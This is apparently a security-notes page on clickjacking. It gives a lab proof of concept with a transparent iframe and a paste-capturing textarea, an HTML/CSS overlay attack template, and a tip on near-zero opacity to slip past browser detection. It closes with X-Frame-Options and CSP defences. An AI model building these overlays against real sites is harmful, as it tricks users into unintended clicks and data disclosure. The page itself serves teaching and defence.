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Clickjacking

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Clickjacking

<script>alert("1337")</script>
<iframe style="opacity: 0;" width="100%" src="<http://localhost/labs/cors/info.php>"></iframe>
<p id="string" style="margin-top: -30px;">Click on me and fo this,first Ctrl+a,second Ctrl+Cm finaly Ctrl+V on textarea</p>
<textarea oninput="alert('I Hacked You '+this.value)" id="data" style="width: 300px;height: 250px;"></textarea>

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Real-World Examples

Social Media Clickjacking: An attacker might trick a user into "liking" or sharing a post on social media by hiding the actual "Like" button under a seemingly unrelated button.

Ad Fraud: Users may be tricked into clicking on ads without realizing it, generating revenue for the attacker.

Critical Actions: Clickjacking can be used to change security settings, subscribe to services, or initiate file downloads without the user's consent.

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Constructing a Basic Clickjacking Attack

Clickjacking is an attack where the attacker tricks a user into clicking on something different from what they perceive by overlaying a transparent iframe of the target website over a decoy webpage. Here’s how you can construct a basic clickjacking attack using HTML and CSS:

Example Code:

<html>
<head>
    <style>
        /* Styling for the target website iframe */
        #target_website {
            position: relative; /* Allows positioning relative to its normal position */
            width: 128px; /* Set the width to match the clickable area */
            height: 128px; /* Set the height to match the clickable area */
            opacity: 0.00001; /* Make the iframe nearly invisible */
            z-index: 2; /* Ensure the iframe is on top of the decoy content */
        }

        /* Styling for the decoy website */
        #decoy_website {
            position: absolute; /* Position it absolutely in the browser window */
            width: 300px; /* Set the decoy width */
            height: 400px; /* Set the decoy height */
            z-index: 1; /* Place the decoy content behind the iframe */
        }
    </style>
</head>
<body>
    <div id="decoy_website">
        <!-- Decoy web content here, e.g., "Click to win!" button -->
    </div>
    <iframe id="target_website" src="<https://vulnerable-website.com>">
    </iframe>
</body>

Key Concepts:

  • Positioning: The position properties (relative for the iframe, absolute for the decoy) ensure that the iframe overlaps the decoy content correctly. Adjusting the top, left, width, and height values precisely position the iframe over the decoy content.

  • Layering (z-index): The z-index property controls the stack order of elements. The iframe (z-index: 2) is layered above the decoy content (z-index: 1) so that any clicks will interact with the iframe.

  • Opacity: The opacity value is set close to 0.0, making the iframe nearly invisible to the user. Careful adjustment of the opacity can evade browser defences that detect fully transparent iframes, such as in Chrome.

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Tools

Burp Clickbandit

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Mitigation

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1. Use the X-Frame-Options Header

1.X-Frame-Options: DENY

2.X-Frame-Options: SAMEORIGIN

Note Allow specific origin framing (if necessary):

X-Frame-Options: ALLOW_FROM https://trustdomain.comarrow-up-right

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2. Use Content Security Policy (CSP)

allow frame only same origin

Content-Security-Policy: frame-ancestors 'self';

allow from only trust domain

Content-Security-Policy: frame-ancestors 'self'https://trusteddomain.comarrow-up-right;

completely block framing

Content-Security-Policy: frame-ancestors 'none';

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3. Frame Busting Scripts (Deprecated Approach)

PreviousCORS AttackNextOpen redirect

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